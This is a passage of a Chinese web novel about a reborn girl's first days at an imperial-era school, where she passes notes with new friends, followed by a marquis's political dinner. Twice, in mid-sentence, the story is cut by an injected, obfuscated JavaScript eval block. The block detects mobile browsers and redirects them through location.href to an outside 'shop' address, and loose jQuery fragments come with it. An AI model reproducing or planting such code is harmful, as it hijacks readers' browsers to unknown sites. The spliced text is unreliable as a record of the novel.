见盛秋阑依旧好奇地看着她,林辞殊难得多说了几句:“我先前随着祖父在闽中生活,最近才到京城来。”
林辞殊身着一双标准的柳叶眼,眼型细长,看人的时候显得温润,身上的气质一看就不是普通人家出来的,像是人人都会夸赞的别人家的小孩。
盛秋阑把目光转向他旁边空着的位置:“你旁边坐着的人还没来吗?”
就在此刻,门口风风火火冲进来一个看上去六七岁的男生,他像是已经迟到习惯了,熟练地拐过几条走廊,一屁股坐在空着的座位上。
“嘿嘿,赶上了。”
先生还没有进到。教室当中。男生头上因为奔跑进出一头薄汗。他随意的用踏步擦了擦。时候才发现身后多了一个人。
“你是谁?”
盛秋阑丝毫不介意她的打量,在桌子上拿了两块桂花糕递给他,男生接过当即就塞进口中:“唔,还挺好吃。谢了啊,正好早上起晚了没用早膳……我叫长孙胜,你呢?”
“盛秋阑。”
长孙胜像是被桂花糕噎住了,塞嘴里的动作停顿了一会儿:“我知道你,侍郎家的千金,还是京城大名鼎鼎的……”
“的什么?”盛秋阑好奇地等待着他继续说下去,长孙胜却不开口了。
对方表情复杂:“感觉你和传言中也不太一样。”
盛秋阑不知道自己传言中是什么形象,但她仔细思考了一下,觉得自己没有干过什么事,顶多每天在京城大街小巷中闲逛。
这样听起来好像确实不算好,难道这就被自己的新同窗看出来不思进取了?
盛秋阑有些心虚,决定挽回一下自己的形象:“那些都是他们乱说的,其实我还挺喜欢读书的,平常也很文静。”
出门在外,形象是自己给的,就是不知道能支撑多久。
这个年纪正是好动的时候,更何况刚刚放假回来,大家或多或少都有些骚动。不过聊天过程中,他们时不时撇向后面新来的人,眼中是不加掩饰的好奇。
看着盛秋阑和其他两个人聊得正欢,他们不好意思打扰,耳朵却悄悄竖起来,想听交谈的内容。
前方的声响渐渐消失,盛秋阑上辈子锻炼出来的技能生效,似有所感地闭上了嘴,望向讲台,果不其然看见了刚刚踏上台阶的先生。
母亲之前跟她介绍过这位卫先生,听说他是自己往下调的,盛秋阑原本就有些好奇,现在终于见到了人。
这是当代公务员啊,居然甘愿下到基层。
她心知这个年龄段的小孩子有多讨人嫌,这位卫先生居然还能坚持这么久。盛秋阑原本猜测应该是一个五六十岁的老头,头发花白,还续着长胡须的那种,一看就是老古板。出乎意料的,这位魏先生看上去挺年轻,虽然头上也有几根白丝,但绝对没有到年老的程度。
他的鼻梁上架着一副金丝眼镜,藏在眼镜后面的眼睛先是扫视了一圈安静下来的小萝卜头们,目光所及之处,就连刚才坐姿豪放的长孙胜都忍不住收敛起来,乖乖把手放在桌面上。他的嘴角还残留着桂花糕的痕迹,卫先生忍不住微蹙了一下眉,把眼神落在最后方的盛秋阑身上。
盛秋阑面前还放着桂花糕,一看就知道长孙胜的那块是她给的,但是看到她是第一天来学堂的份上,卫先生还是没有当众点出。
贺兰谨之前打过招呼,有了盛承驰这个先例在前,相比起来,看盛秋阑的样子还是非常听话的。
“你们新来的同窗,盛秋阑。”
来了来了,不管是在现代还是古代都逃不掉的自我介绍。
盛秋阑早有心理准备,她到讲台面前介绍了一下自己,顺便扫视了一下下面的新同学,这一看还真让她发现了几个认识的人。
这些人大多是盛怀德同僚的孩子,当初还出现在盛秋阑的周岁宴上。只是这次她走到讲台上,那些人却无一例外的低着头,坚决没有给一个眼神。
盛秋阑有些无辜的眨眨眼睛,难道长孙胜说的是对的,她现在也成为纨绔子弟了吗,不然怎么看起来有些怕她?
听到她介绍完,卫先生正想要把盛秋阑请下去,就看见女孩两只手插在衣服中间的兜里面,如同变戏法一般变出了各式各样的糕点,一桌一桌地发下去,不一会儿每个人桌子面前都摆着一份。
开学前强调不要把吃食带进学堂的卫先生:……
他额角跳了跳,深吸一口气,觉得之前光品外表的判断实在是太过武断。
不愧是厨子同一户人家,感觉这位小千金也是不遑多让。
卫先生清了清嗓子,刚想要强调一下规矩,就看见盛秋阑转身,从兜里面找出了比其他人都要多的糕点,放在了他面前:“先生,你也有。”
女孩笑眼弯弯,任谁都无法拒绝,卫先生犹豫片刻,最后还是收下来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076339|192386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只是还没有忘记自己的规矩:“下次不要把吃食带到学堂了。”
盛秋阑像是愣了一下,随后跑回自己的位置:“知道啦!”
她这几年个子长高了不少,但是相比起比自己大了几岁的同学,盛秋阑在里面不算高,此刻坐在最后一排,视线都被前方的人挡住了。
卫先生环顾了一圈,把盛秋阑的位置往前面移了两位,正好从林辞殊的后面变成了前面。其他人都是两人一桌,只有她是一个人,旁边空空荡荡的,配上盛秋阑趴在桌子上的动作,看起来有些孤零零。
他还在思考对策,就看见盛秋阑把旁边的小板凳往自己的方向靠了靠,把两个椅子并成一份,然后动了动屁股,坐在上面。
嘿嘿,独享大椅子。
卫先生眼角一抽,决定暂时不去管她,转身开始讲课。
童舍当中讲的都是一些识字等基础,盛秋阑早已经学会,百无聊赖地趴在桌子上,用自己的新毛笔在纸上涂涂画画。
好像有些无聊……也不知道傅如珩这个时候起了没,自己今天难得早起一会,傅如珩要是知道的话,肯定找不到借口再笑她了。
盛秋阑用毛笔沾上墨水,把自己刚刚画的小人用力涂掉。
她都来上学了,也不是只能找傅如珩,想到自己刚交的两个朋友,盛秋阑撕下一小张纸,在上面画了一个棋盘,随后看也不看就往后面一丢。
这可是刻在骨子里面的准率,不可能失手。
纸团稳稳落在林辞殊的面前,一向认真听课的人有些犹豫,最后还是把纸团打开来。棋盘的最正宗画了一个小叉,其他各自当中都是空白的。
长孙胜表面上盯着魏先生,其实心思早已经飞到了外面。见到有乐子,干脆也不做样子了,凑上来看纸团。
林辞殊表情还是带着迟疑,但是想到盛秋阑今天早上给她的桂花糕,还是违背了自己一向听课的态度,在旁边的格子上打了一个圈。
纸张被重新团起来,却迟迟没有飞出去。
林辞殊还是第一次干这种事,对这个活动非常陌生,眼睛时刻盯着卫先生,却总也找不到机会,最终只敢抓在手里。
长孙胜看着着急,他虽然没有参与下棋,但是对他来说只要不学习干什么都有意思,哪怕递个纸条也行。
“我来。”
长孙胜从林辞殊手上拿过纸团,对着盛秋阑的桌子一扔。
他虽然表现得信心满满,但是结果却不尽人意。因为是第一次干这种事,他没有控制力道,白色的纸团在空中划过一道弧线,最后落在盛秋阑的前桌上。
这个弧线实在是太过明显,只要眼睛没问题就能看清楚这个动静。
那个小孩看着骤然出现在眼前的纸条,明显愣住了,把这一切收进眼底的盛秋阑没眼看地把头埋在胳膊上面,一副“我不知道,跟我没关系”的样子。
卫先生在过道中慢慢踱步,依旧带着人念课本上面的文章,表情不动,好像没有看到刚才发生的戏剧。
长孙胜观察了半天,正打算放松警惕,就看见卫先生慢慢来到他们这一边,哪怕眼睛还是盯着书本,手却准确无误地拿走了那个没有人敢碰的纸团。
悬着的心终于死了。
25. 画技
被抓走纸团的那位公子看上去惊恐无比,当即想要把这件事与自己撇清关系,生怕先生会向自己的家长告状。
卫先生一手打开纸团。看着上面的方块和一个叉一个圈,他带领念书的声音停下来,藏在金丝眼镜后面的眼睛看不出生气的意思,却带给人浓浓的压迫感。
"谁扔的?"
魏先生的声音平淡,和刚才念书时别无二样,底下却没有人敢说话。
盛秋阑垂着眼睛,不敢对视,实在是太熟悉了,这种随时会出现在窗外的班主任感觉。
毕竟纸团是自己先传的,盛秋阑正打算站起来一人做事一人当,却听见后面传来板凳在地面上移动的声音。
“我扔的。”
长孙胜毫无畏惧地接下了这个话,挽救了凝滞已久的气氛。
纸团确实是他扔的,盛秋阑扔纸团的时候,卫先生没有察觉到。林辞殊虽然在上面写了东西,却迟迟没有传出来,长孙胜觉得自己理应站出来。
也不知道盛秋阑之后能不能教他应该怎么毫无痕迹地传纸条。
卫先生见他站出来,也没有过多责备:“昨日的书背出来了吗?”
长孙胜在旬假期间被压着复习了不少知识,这个文章正好是其中之一,想到自己假期时的痛苦,他这一回毫不心虚:“背出来了。”
“背一下。”
长孙胜毫不犹豫地背完了全篇,末了还得意的挑挑眉。
别说,这种感觉还挺爽。
卫先生听他背完,也没有再揪着这一个纸团不放,让他坐下了。
盛秋阑感觉到身边人的眼神在他背上淡淡地停了一下,头发都要站起来了。
这是什么当上老师之后就会自动拥有的技能吗,怎么全都能发现端倪。
肯定是因为太长时间不练习技术退步了,想当年她可是能够在老师眼皮子底下传纸条一整年都不被发现的。
终于等到上午的课结束,外面早已经等候着的各家奴仆全部都挤在门口送午饭。
虽然童舍学堂里面会提供午饭,但是小孩子饿得快,学堂里面的午餐终究没有自己家厨师做的好吃,这个时候看到各种饭盒,都纷纷跑到自家奴仆那边拿上午饭。
盛秋阑一眼就看到了在门口左顾右盼的碧云,她屁颠屁颠地跑过去,从她手中接过食盒。食盒外面还有温度,香气隐隐约约透出来。
“小姐,今天感觉怎么样?”
“好啊,我还交了两个朋友呢。”
说起这个,盛秋阑想到了以一人之身挡住卫先生询问的长孙胜,她还没有来得及道谢。
她垫着脚在人群当中张望,看到了在不远处假石上面坐着的人。
碧云看着她兴奋的样子,一早上的担忧放了下来。
他们家小姐果然适应得很快,这么快就找到了朋友。
盛秋阑捧着食盒有些不好意思张口,碧云看出了她的心思:“那小姐去找他们吧。”
童舍里面设立了不少亭子,原本是想给学生们提供一个背书的场所,后来不知不觉就变成了各家主子吃饭的地。几个原先就认识的人围着亭子里面的桌子,面前各色的食盒分开摆放着,看上去还有些壮观。
在长孙胜不远处的亭子里面,盛秋阑还看见了林辞殊,后者独自一人坐在长凳上面,就连吃饭都是细嚼慢咽。
“我能不能和你一起啊。”
听到声音,林辞殊抬起眼,咽下口中的东西:“好。”
盛秋阑坐在了她的旁边,正打算找长孙胜,就看见对方已经离开了那一块假石,端着自己吃到一半的饭菜过来。
“都在这儿啊。”
两人的饭菜放在最中央的桌子上面,盛秋阑终于打开食盒,里面沉甸甸的,放的都是她平常喜欢吃的菜。其中的分量不少,她大方地放在了两个人面前:“你们吃吧。”
长孙胜早就对上面的红烧肉眼馋了,丝毫不客气的拿走了一大块,软糯的肉塞在口中,一咬就碎,里面的汁水溢满口腔。
他眼睛一亮:“你们家的厨子做饭真好吃。”
“那当然,”盛秋阑把那一份肉往他面前送了送,还不忘夹走其中不太油腻的一块,放在林辞殊面前,“你也吃。”
林辞殊平常独来独往,唯有作为同桌的长孙胜和她稍微亲近一点,但是也顾忌着男女有别,平常没有太多交流。
京城中的人大多有从小一起玩的同伴,她却对这块地方没有真熟悉,刚刚来京城的时候还适应了不少时间。
因为小时候在闽中生活,林辞殊的口味偏向清淡,盛秋阑却从中尝到了熟悉的味道。
江南一带的饭菜口味偏向清淡的甜口,但是京城当中却不是这样,不过因为从小都是这样的调配,盛秋阑渐渐也熟悉了这种口味。
她手里面抓着一个鸡腿,终于有机会向长孙胜道谢:“今天谢谢你了,我本来都想要站起来了。”
林辞殊闻言也把目光转向长孙胜,她是第一次干传纸条的事情,被收走的纸条上面还留着她的笔迹,从来不会违背长辈意愿的她什么时候干过这种刺激事,卫先生提问的时候出了一身的冷汗。
“没事,本来就是我传得不行,话说起来,你改天教教我,下次我绝对不会这样了。”
有人愿意听,盛秋阑兴致勃勃地传授自己的秘籍:“传纸条主打一个快、准、狠。快就是出手要快,不要用手臂带动,轻轻转一下手腕就好;准头这个没有办法,只能熟能生巧。”
长孙胜听得聚精会神,就连林辞殊也在一旁认真看着:“那狠呢,难道是眼神要狠,这样会不容易被发现吗?”
盛秋阑高深莫测:“狠,就是被发现之后认错要狠,你在这一点上面已经很有天赋了。”
长孙胜原以为她能够说出什么独门秘籍,闻言满眼鄙夷地看向她:“就这样?”
盛秋阑:“你以为这很简单吗,这可是我经过很多次的经验之后才得来的。”
“难道你之前也这样干过?可是这不是你第一次上学吗?”
盛秋阑话被堵在口中,她总不能说自己原本已经上了十多年的学了吧,说出来可能会把这些小孩们吓死。
“反正我就是知道。”
长孙胜也没有管,他跃跃欲试,想要试试刚刚得知的秘籍:“今天下午正好有一节廖博士的课,他上课从来不会管我们,能够试试准头。”
他们吃得差不多,各家的下人帮忙把已经一扫而空的食盒收起来。
盛秋阑今天胃口大开,肚子都微微鼓起来,她从椅子上面跳起来:“我还是第一次来学堂里呢,你们带我来逛逛。”
学堂里面没有设置参观环节,不过她有两个提前来上学的好友,根本不需要自己摸索。
林辞殊走在前面,温温柔柔地讲解每个场所的作用,长孙胜则在一旁悄悄介绍经过的人。
“那是刚刚升官的吏部侍郎的嫡长子,那是大理寺卿的孙女……”
长孙胜在京城生活这么久,对各家的来往和亲疏全都如数家珍,不管是哪家有矛盾还是哪家之间有过娃娃亲,好像没有什么是他不知道的。
“你怎么这么清楚?”
盛秋阑对这些人家之间的关系不清楚,林辞殊更是不熟悉,两个人听着长孙胜侃侃而谈,几乎要把所有人的关系和家中的站队全都扒得一干二净。
“我家是做买卖的,自然对这些稍微清楚一点。”
长孙胜身上的衣服一看就不是便宜货,而且他像是格外偏爱亮色的衣服,不管是袖口还是配饰上面全都绣着金纹和金线。
能够来这里上学的自然不是普通人,盛秋阑原本也没觉得如何,听到他这样说,随口问道:“什么买卖?”
“就是运输一些盐铁,然后京城中大部分的酒楼也都是我家的。”
盛秋阑被自己的口水呛了下,她一改刚才随意的态度,正色向长孙胜伸出手:“刚才是我冒昧了。”
没想到长孙胜看上去不是很聪明,背地里居然是首富之子。
万一以后自己没有攒够去江南的钱,这不就有了另一个方法了?
难怪都说多个朋友多条路,这已经不是多条路的事情了,这是多了个银行啊。
长孙胜被她眼睛里面的热切吓了一跳,他挠了挠头,握住了她的手:“没事,以后想去哪里吃饭可以带上我。”
有你这句话就够了。
盛秋阑晃了晃他的手,还不忘拉上林辞殊一起,强行把三只手搭在一起:“一起一起。”
这可是免费的午餐,行走的金库啊,不吃白不吃。
林辞殊话比较少,但是大抵是被盛秋阑所感染,也难得加入了交流:“不过京城里面的酒楼我大多吃不惯,不知道有没有清淡些的。”
“我们家之前收购了一家快要倒的酒楼,专门请了厨子做些南方样式,到时候带你们去试试,若是还吃不惯就再去找些厨子,保管让你们满意。”
盛秋阑咋咋称奇,不愧是京城首富,嘴巴一张一合就是大手笔。
长孙胜来到学堂里面这么久,还没有见过如此投缘的人。
其他人大多和家中交情较好的同伴们一起,行为举止当中或多或少都有长辈的影响或是授意,他的身份摆在这里,不是没有想要与他较好的人,但是长孙胜看出他们背后的意思,也不想与他们带着目的亲近。
现在盛秋阑来了,可就有意思了。
“不如就今日下学之后吧,我带着你们去。”
谁知刚才还兴致勃勃商量的盛秋阑却开始犹豫起来,她防腐想到了什么,含糊不清地说:“今天有事,明天再说吧。”
“今日教授没有留作业,正好空着,你要干什么?”
盛秋阑想到了此时应该一个人在侯府的傅如珩,虽然原本打定主意要放假之后再回去告诉他,但想了想还是有些不忍心。
算了,谁让她气量比较大,而且哄也不好哄。
“今天我要回家。”
林辞殊在一旁表示理解:“第一天上学想家也是正常的。”
毕竟是这么小的小孩,怕周围有同龄人陪着,终归是有不适应的地方。
闻言,长孙胜也不再坚持:“行吧行吧,那就明天再说。”
下午教的是算术,如长孙胜所说的那样,教算数的廖博士是个年纪比较大的老头,鼻子上夹着个老花眼镜,拿着粉笔在台上喋喋不休地讲着算术技巧。
相比起上午的安静听话,此时台下的小孩儿有些骚动。有玩桌子上的摆件的,有和旁边的同桌说小话的,个个屁股不安分的乱动,几乎看不见认真听博士讲话的人。
林辞殊原本算是班上唯一几个认真听讲的人,但今天也被前面和旁边的动静吸引了。虽然手上还记着笔记,但是眼神却时不时瞄向旁边。
长孙胜正如中午所说的那样,锲而不舍的往盛秋阑桌子上扔纸条。他平常总是去外面玩投壶,在几次失败的尝试之后,渐渐摸到了其中的技巧,纸团扔得一个比一个准。
盛秋阑向他投来了一个孺子可教的眼神,乐得有人在课上陪她消遣,甚至还展现自己的独门秘籍——以各种不同的姿势向他投纸条,甚至能够判断纸条飞向的方位。
林辞殊打开其中一个跑到他桌子上面的纸条,上面画了一个略显粗糙的笑脸,旁边是一块有着很多裂缝的石头。
“惭愧惭愧。”
在它上面写着笔迹狂放的句子:“大哥,你真是太厉害了。”
这个字迹一看就知道出自谁手。
林辞殊有些犹豫地看了一眼台上的博士,在心里面忏悔了三秒,随后拿起旁边的笔,在石头旁边写:“好别致的石头。”
看得出她不敢扔,长孙胜帮忙把纸团丢到前面去,不过这次他稍稍偏了一点,纸团在距离桌子还有一段距离的时候就掉了下来,落在地上,顺着滚到了旁边。
盛秋阑头都没偏,眼珠稍稍一转,看见了落在地上的纸团。
纸团的落点和它有一些距离,盛秋阑原本想要用脚把纸团勾过来,却没想到低估了自己的身高,脚尖用力绷直,结果还差一大截。
她听到了身后传来控制不住的“噗嗤”声,恶狠狠地转头一看,长孙胜你已经趴在桌子上头埋在胳膊里面,身子一颤一颤的,露出来的耳朵已经笑得通红,就连旁边的林辞殊都忍不出露出了一抹清浅的笑意。
盛秋阑:“……”
她恼羞成怒,不就是个子稍微矮一点吗?
她还小,之后肯定还能长高的,上辈子她可是有整整168.7。
一计不行,盛秋阑还有方法,她手指微微移动,架在旁边的毛笔顺势掉下来,从桌沿旁边滚落下去,慢慢和纸团的方向靠近。
她从椅子上面弯腰,把毛笔捡起来,顺便把纸团也给抓在了手上,一套动作行云流水,没有个十几年的躲班主任经验绝对抓不住破绽。
后面的人早已经看得目瞪口呆,看着盛秋阑把纸团抓在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083651|192386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手心,得意洋洋地打开来,似是看见了什么难以理解的话,她脸上露出了一个有些迷惑的表情。
纸团被重新传了下来,林辞殊慢慢从中得到了一些乐趣,在课上传纸条的刺激是之前从来没有过的,耳边是博士讲课的声音,从小被教导规矩和礼节的她逐渐感受到了前所未有的新奇。
林辞殊学着盛秋阑的样子,在书本的遮挡下打开纸条,看见自己那句话的旁边被打上了一个问号,下面是一行小字“这是抱拳!!!”
林辞殊重新看了看那块石头,终于从那些歪歪扭扭的线条上面看出了手指的图形,两边严丝合缝,勉勉强强能够看出是两只手。
纸条的内容没有避着长孙胜,他发出了毫不客气的嘲笑:“这谁看得出来呀,你这画技也太烂了。”
盛秋阑不服气,干脆借着书本的遮挡,把嘴唇掩在书页后面,后背抵着椅子,头依旧看着前方:“有人就能够看懂。”
长孙胜怀疑她是胡说八道:“我不信,谁啊?”
傅如珩就可以!
盛秋阑正想要开口,但是这个名字却莫名说不出口,只能鼓着嘴巴回答:“就是有。”
林辞殊想要缓和他们之间的关系,她再次看了看那幅画,仿佛违背了某种内心原则:“其实确实没有画得这么差,仔细看还是能够看出来的。”
“对吧对吧,我就说,才没有这么丑。”听到有人支持,盛秋阑得意地说。
长孙胜不可置信的看了林辞殊一眼,后者有些心虚地移开眼睛,他痛心疾首地问:“你这样哄她良心真的不会痛吗?”
林辞殊没有再说话,说实话,这样睁眼说瞎话良心确实有点痛。
盛秋阑把纸条抓回来,重新看了看自己画的小表情,越瞧越觉得长孙胜没有眼光。
——看看这根根分明的手指,两只手抱在一起,她甚至还在上面贴心地画了指甲盖,明明一看就能看得出来。
她在刚刚学会握笔的时候就开始创作自己的画,院子里面的花花草草,还有身边陪着自己的人像画,全都画了个遍。
花草不能说话,也就不能对她的画进行评价,盛秋阑就拿着自己给别人的画像跑去邀功。
“娘亲,看看这是什么?”
贺兰谨满脸笑容地接过纸,本来想着不管画成什么样,她都可以好好夸一顿,毕竟这是盛秋阑第一次画画,总要给孩子一点鼓励。但是在看到纸上面的内容的时候,脸上的笑容还是不可遏制地僵了下来。
夸是要夸的,不过能不能先告诉她这是什么。
一个形状不算规则的圆形。下面要比上面稍窄一点,勉强能够看出这是一张脸,上面有一个横着椭圆形,用墨水点了一下颜色,看起来像是露了馅儿的汤圆,里面的黑芝麻已经流出来了。
盛秋阑主张写实派,尽力想要把上面的所有细节全都画出来,包括眼睛。眉毛用细毛笔一根一根描出来,但是因为墨水在纸张上面化开来,看起来就变成了又粗又长的一条,如同两根钢条横在上面。一双眼睛画得又大又圆,却因为睫毛导致看不见旁边的眼白,像是围了一圈又厚又浓的黑眼圈,原本应该是鼻子的位置则恍若一个听诊器,最下方的嘴巴画得很小,点上了一抹红色。
贺兰谨尬笑两声,还是保持着柔声细语,想着孩子总是要多鼓励的。
她看着盛秋阑满眼期待的眼睛,实在不忍心说这是谁,歪着脑袋猜:“这是不是一个雪人?”
盛秋阑摇摇头,给了点提示:“这是一个人哦。”
还真是一个人啊,贺兰谨默默想了想,觉得府中实在没有谁长成这个样子,脑海中跳过了很多个人选,却总也不能够把他们与画上的人脸给对应起来。
盛秋阑迫不及待地想要得到评价,又甩出一个提示:“远在天边近在眼前。”
此话一出,原本在一边笑着看她们互动的丫鬟们全都收敛起来了笑容,她们重新看了看那张纸上面的人物,欲哭无泪:“小姐说的应该是不会是她们吧。”
贺兰谨目光扫视了一圈,实在看不出来这是谁,她无奈道:“阑阑要不还是直接告诉我吧,娘亲实在猜不到。”
盛秋阑兴奋地把纸张比在贺兰谨的旁边:“就是娘亲啊,看看这多像。”
贺兰谨有些震惊地看了看史上面人不人鬼不鬼的图画,但是看盛秋阑还在一边等待着她的夸奖,又实在不好打消她的积极性,勉强笑着说:“啊……刚才没看出来,现在知道了,确实……画得很好。”
盛秋阑大方地说:“那这幅画就送你啦,这可是我画的第一章画。”
贺兰谨听到这话还是不忍心了,她把画收起来,给地一旁的女侍:“帮我放起来吧。”
盛秋阑还在一边开心地说:“我还要给爹爹,哥哥们、祖父……还有傅如珩都画一副。”
“好。”贺兰谨揉了揉她的脑袋,看着盛秋阑迫不及待回到自己的房间,她本想要拿起刚才的画再看一眼,但是手放在卷轴方面,又失去了勇气。
“就帮我放在箱子里面吧。”
那之后的几天,盛秋阑听说娘亲让人去胭脂坊里面买了很多护肤的珍珠粉和蜜粉,就连平常出去也打扮得更加精细。
本就是名动京城的美人,要不是已经嫁入侍郎府,肯定有不少人计划着想要求娶,根本不像是三个孩子的母亲。
她正琢磨着要在什么时候把画给傅如珩送出去,没想到第二天人就来找她了。
正好,盛秋阑把画像递给他,如法制炮地问了同一个问题,没想到傅如珩都没有等到她给提示就回答出来了。
“这是我?”
盛秋阑颇为兴奋地说:“对了!”
这几天她给很多人都送过画像,没想到不管是谁,看到这幅画都不能马上猜出来,总是让她提示很多才能够勉强说出答案。
傅如珩是第一个不用她教就能够猜出来的人,虽然对方表情上好像有点嫌弃,但是她不计较这些小细节了。
她就说,她画的还是很像的。
都不用盛秋阑主动,傅如珩重复看了看这张画,把它小心翼翼地卷起来:“我带走了。”
“准了。”盛秋阑打了个响指,“想要的画我再给你画。”
回忆到这,盛秋阑有些郁闷地看了看面前的小纸条。
她之前握笔还不熟练,现在明显技艺比那时候要更好了,虽说也好不到哪里去,但是也不至于啥都看不出来吧。
哎,有点想傅如珩了。
26. 同桌
下学之后盛秋阑一眼就看到了等候在门口的丫鬟们,她今天第一天正式上学,虽然其他人面上没有表现出来,但是实际上全都关心着情况。
盛秋阑坐上马车,顺着今天早上的路线回到了侍郎府,都没有给她拐弯的机会,直接被请到了府中央。
“今天感觉怎么样?”
盛秋阑给母亲细数成果,当然把自己在课上做的那些小动作给忽略了:“我遇见了好多小朋友,还有林辞殊和长孙胜和我交朋友。卫先生教我们认字,廖博士……”
贺兰谨原本还在担心盛秋阑开学太早会不合群,再加上是中途插班进来的,虽然之前已经征求过盛秋阑的意见,但还是担心她会不适应,听到他这么说就放下心来。
“那就好。”
盛秋阑吃完饭,却没有立刻离开,反而坐在座位上期期艾艾。
盛怀德看出她有事情想要说:“怎么了?”
“我想要去找傅如珩,他还不知道我去上学了。”
“去吧。”
得到许可之后,盛秋阑小步跑到对面,没想到开门的侍卫却告知:“四少爷和老爷出去了,现在还没有回来。”
傅如珩平常在侯府不受重用,就算傅鸿元要带小辈去和别人打好关系也应该是傅皓轩,怎么想都轮不到他。
盛秋阑猜不透傅鸿元的想法,只好原路回去。天色已经变得昏暗,东边升起来了月亮的轮廓,是一轮半月。
只能等下次了。
.
傅如珩坐在一座繁华的酒楼上面,两边的门窗都是封闭的,繁华成都与鎏金楼不相上下,隐私性却比那边更好一些,每个包厢里面都隔着一段距离,不用担心隔墙有耳。
傅鸿元与对面的官员遥遥举杯,一搂垂下来的袖子,笑着饮下杯中的液体。
“侯爷真是客气了,还特地邀我来共同赴宴,这是出何雅兴啊?”
对面的官员已经换下了朝服,看不出官职几品,但看着傅鸿元的态度就能够知道身份不低。
他话语中客气,眼底却闪着打量和谨慎。
“刘兄真是客气了,不过我今日还真有一个不情之请,听闻太子殿下已经被陛下示意接触朝堂政务?”
都是在朝廷中的老狐狸,言语交锋之间不用点明就能够知道对方的意思。
那位刘官员也不是个白混的,他话语之间含糊不清:“这个我还真不太清楚,也都是看陛下的意思。咱们只要负责辅佐在身边,不管未来是谁继承皇位,不都是为了天下吗。”
还是个不好对付的。
傅鸿元心中冷笑,面上却丝毫不变:“话是这样说的,只是这种时候总不能独立在外面。毕竟这储位之争,后面可是有很多人盯着呢。”
话说到这里,他的来意也明了了,刘官员本身就不是个安分的,收下邀请之后自然是心中衡量过,不然也不会出现在这个地方,这次赴约也是想看看傅鸿元是什么算盘。
“听侯爷这个意思,是有什么想法?”
“从古至今,这皇位背后就纷争不断,不但是皇子们的较量,背后更是各方博弈。明人不说暗话,如果在这个阶段没有选好人,之后等到大局已成,就不像是现在那么轻松了,刘兄应该也清楚吧。”
刘官员当然清楚,皇位之争向来不是和平的,不乏有兄弟反目成仇的事情,更有杀戮兄长造反上位的暴君。
这个位置一直都是血腥不断,选对了人之后可能直接升官,仕途一帆风顺,被新皇提拔,连带着整个家族地位上升,反之则可能连命都保不住。
见他若有所思的样子,傅鸿元知道这一趟的目的达成了。
他哈哈一笑端起手上的酒杯,又和刘官员碰了一下:“不说这么多了刘兄,咱们难得聚一下,不知道令郎最近如何?”
“还是那样,在学堂里面读书,不过是资质平平。”
刘官员看向坐在傅鸿元旁边全程一言不发的傅如珩,他早就好奇了:“这是?”
傅如珩在一般聚会中不常出现,都是傅皓轩陪在身边,也难怪他不觉得眼熟。
傅鸿元押了一口酒,慢悠悠地介绍:“这是我们家的老四,平常不怎么出来,不过和侍郎家的千金还算熟悉。”
“原来如此。”刘官员多看了两眼,“说起来,盛家好像把他们千金送去童舍了。”
傅如珩的表情终于变了,他抬起头,看了一眼说话的人。
盛秋阑前段时间脚伤,不可能去上学,再之前更是每天和他呆在一起,那就只有可能是伤好之后。
可是昨天对方来找他的时候却只字没提这件事。
“这样。”傅鸿元若有所思,他还不知道这件事,“不过盛家千金的年岁还差了点吧。”
刘官员也是听说的,听到傅鸿元提起来才顺嘴透露消息:“这就不清楚了,不过我看令郎也到了该上学的年纪。”
这是在试探傅如珩在傅家受重视的程度,毕竟光靠傅鸿元一张嘴,谁也说不清楚两个人私下的关系如何。
傅鸿元笑着说:“是有这种打算,多写刘兄提醒。”
两人各怀心思吃完这顿饭,回去之后,傅鸿元进入书房,傅如珩按照他的要求等在门口。
没过一会儿,里面传来声音。
“进来。”
傅如珩跪下行礼,抬头看见傅鸿元脸上已经不见了刚才在饭桌上面的笑容,语调冷漠:“明天去上学,我已经联系好了。”
“是,父亲。”
.
盛秋阑才上了一天学,生物钟还没调整过来,今天被碧云叫起来的时候已经来不及了,她顶着一个鸡窝头,后面的迎春还拿着梳子跟在后面:“小姐,头还没梳。”
“来不及了!”盛秋阑匆匆接过碧云拿过来的饼,都来不及坐下吃就跳上了马车。
口袋里面鼓鼓囊囊,是碧云怕她一个饼不够吃硬塞进去的,盛秋阑在颠簸的马车当中吃完了一整张比她连还要大的饼,再也没有其他的胃口了。
她有些有仇地看着自己的口袋,到时候问问有谁还没吃饭吧。
紧赶慢赶,盛秋阑终于在先生进教室之前坐到了自己的位置上,她的头顶乱蓬蓬的,头发勉强用一根发带扎成了一束,是自己在车上绑起来的。
听着她趴在桌子上传奇的声音,长孙胜忍不住探出头问:“你怎么这么晚。”
“起晚了。”
长孙胜对此非常有经验:“没关系,你就说路上堵车了。”
怎么从古到今都有这个理由啊。
盛秋阑想要打开他的脑袋看一看:“咱们学堂建在那么偏的地方,怎么可能会堵车?”
“非也,”长孙胜高深莫测,“你应该知道我们之后要上中舍吧,虽然那边的学子大多是住在学堂,但也有每日回家的。通往中舍的路和我们是同一条,又因为刚刚搬过来,周边还没有修好,若是堵住了也是情有可原。”
林辞殊在一旁看了他一眼:“所以你之前和卫先生都是这样说的?”
“对啊。”
“那你知不知道中舍上学比我们早半个时辰。”
长孙胜虽然对京城当中各家的关系说得条条有理,但是还真不知道中舍上学时间比他们早这么多。
林辞殊有些怜悯地看着他,像是关心某些弱智儿童:“卫先生肯定知道,只是他没有点出来而已。”
